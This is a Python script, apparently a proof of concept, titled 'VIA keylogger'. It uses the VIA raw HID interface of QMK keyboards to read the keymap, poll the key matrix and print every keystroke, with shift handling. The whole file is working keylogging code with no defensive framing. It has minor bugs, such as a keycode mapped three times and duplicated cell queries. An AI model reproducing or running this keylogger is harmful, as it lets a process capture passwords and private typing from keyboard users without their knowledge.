VIA keylogger

via_keylogger.py

#!/usr/bin/env python
import hid
from platform import platform
from struct import *
import urllib.request
import json

KEYCODES = {
    0x04: "a",
    0x05: "b",
    0x06: "c",
    0x07: "d",
    0x08: "e",
    0x09: "f",
    0x0a: "g",
    0x0b: "h",
    0x0c: "i",
    0x0d: "j",
    0x0e: "k",
    0x0f: "l",
    0x10: "m",
    0x11: "n",
    0x12: "o",
    0x13: "p",
    0x14: "q",
    0x15: "r",
    0x16: "s",
    0x17: "t",
    0x18: "u",
    0x19: "v",
    0x1a: "w",
    0x1b: "x",
    0x1c: "y",
    0x1d: "z",
    0x1e: "1",
    0x1f: "2",
    0x20: "3",
    0x21: "4",
    0x22: "5",
    0x23: "6",
    0x24: "7",
    0x25: "8",
    0x26: "9",
    0x27: "0",

    0x2c: " ",
    0x2d: "-",
    0x2e: "=",
    0x2f: "[",
    0x30: "]",
    0x31: "\\",
    0x32: "#",
    0x33: ";",
    0x34: "'",
    0x35: "`",
    0x36: ",",
    0x37: ".",
    0x38: "/",

    # numpad
    0x54: "/",
    0x55: "*",
    0x56: "-",
    0x57: "+",
    0x59: "1",
    0x5a: "2",
    0x5b: "3",
    0x5c: "4",
    0x5d: "5",
    0x5e: "6",
    0x5f: "7",
    0x60: "8",
    0x61: "9",
    0x62: "0",
    0x62: ".",
    0x62: "\\",
    0x65: "=",
    0x85: ",",

    # extra stuff?
    0x2a: "◀", # backspace
    0x28: "\n", # enter
}

SHIFT_MAP = {
    "[": "{",
    "]": "}",
    "1": "!",
    "2": '"',
    "3": "£",
    "4": "$",
    "5": "%",
    "6": "^",
    "7": "&",
    "8": "*",
    "9": "(",
    "0": ")",
    "-": "_",
    "=": "+",
    "#": "~",
    "\\": "|",
    "#": "~",
    ";": ":",
    "'": "@",
    ",": "<",
    ".": ">",
    "/": "?",
}

SPECIAL = {
    0xe1: "SHIFT",
    0xe5: "SHIFT",
}

def _is_rawhid_usage(x):
    return x['usage_page'] == 0xFF60 and x['usage'] == 0x0061


def _search():
    devices = filter(_is_rawhid_usage, hid.enumerate())
    return list(devices)


def _matrix_size(dev):
    req = urllib.request.Request('https://keyboards.qmk.fm/v1/usb.json')
    r = urllib.request.urlopen(req).read()
    usb_ids = json.loads(r.decode('utf-8'))
    
    devices = usb_ids["usb"].get("0x%04x" % dev['vendor_id'], {}).get("0x%04x" % dev['product_id'], None)
    if not devices:
        exit(2)

    kb = list(devices.keys())[0]

    req = urllib.request.Request(f'https://keyboards.qmk.fm/v1/keyboards/{kb}/info.json')
    r = urllib.request.urlopen(req).read()
    info = json.loads(r.decode('utf-8'))

    rows = info['keyboards'][kb]['matrix_size']['rows']
    cols = info['keyboards'][kb]['matrix_size']['cols']
    return (rows,cols)


def _matrix_state(device, rows, cols):
    buffer = b"\x02\x03"
    buffer = buffer + (b"\x00" * 30)

    # prepend 0 on windows because reasons...
    if 'windows' in platform().lower():
        buffer = b"\x00" + buffer

    device.write(buffer)

    ret = device.read(32, 100)

    if cols >= 16:
        bits = 32
        pattern = '>' + ('L' * rows)
    elif cols >= 8:
        bits = 16
        pattern = '>' + ('H' * rows)
    else:
        bits = 8
        pattern = '>' + ('B' * rows)

    state = list(unpack_from(pattern, ret, 2))
    for r in range(rows):
        state[r] = [int(n) for n in bin(state[r])[2:].zfill(bits)]
        state[r].reverse()
    return state


def _query_keymap_cell(device, row, col):
    buffer = b"\x04\x00" + row.to_bytes(1, byteorder='big') + col.to_bytes(1, byteorder='big')
    buffer = buffer + (b"\x00" * 28)

    # prepend 0 on windows because reasons...
    if 'windows' in platform().lower():
        buffer = b"\x00" + buffer

    device.write(buffer)

    ret = device.read(32, 100)

    return hex(unpack_from('>H', ret, 4)[0])


def _query_keymap(device, rows, cols):
    keymap = [ [0] * cols for _ in range(rows)]

    for r in range(rows):
        for c in range(cols):
            ret = _query_keymap_cell(device, r, c)
            # print("%u:%u = %s" % (r, c, ret))
            keymap[r][c] = _query_keymap_cell(device, r, c)

    return keymap


def main():
    devices = _search()
    if not devices:
        print("No devices found!")
        exit(1)

    dev = devices[0]
    device = hid.Device(path=dev['path'])
    print("Connected to:%04x:%04x %s %s" % (dev['vendor_id'], dev['product_id'], dev['manufacturer_string'], dev['product_string']))

    rows, cols = _matrix_size(dev)

    keymap = _query_keymap(device, rows, cols)
    # print(keymap)

    print("searching for keypress...")
    last_state = _matrix_state(device, rows, cols)
    shifted = False
    while True:
        state = _matrix_state(device, rows, cols)
        if last_state != state:
            for r in range(rows):
                for c in range(cols):
                    if state[r][c] == 1 and last_state[r][c] == 0:
                        action = SPECIAL.get(int(keymap[r][c], 16), None)
                        if action == "SHIFT":
                            shifted = True
                    if state[r][c] == 0 and last_state[r][c] == 1:
                        action = SPECIAL.get(int(keymap[r][c], 16), None)
                        if action:
                            shifted = False
                    if state[r][c] == 1 and last_state[r][c] == 0:
                        keycode = KEYCODES.get(int(keymap[r][c], 16), None)
                        if keycode:
                            if shifted:
                                keycode = SHIFT_MAP.get(keycode, keycode.upper())
                            print(keycode, end='', flush=True)

        last_state = state



if __name__ == '__main__':
    main()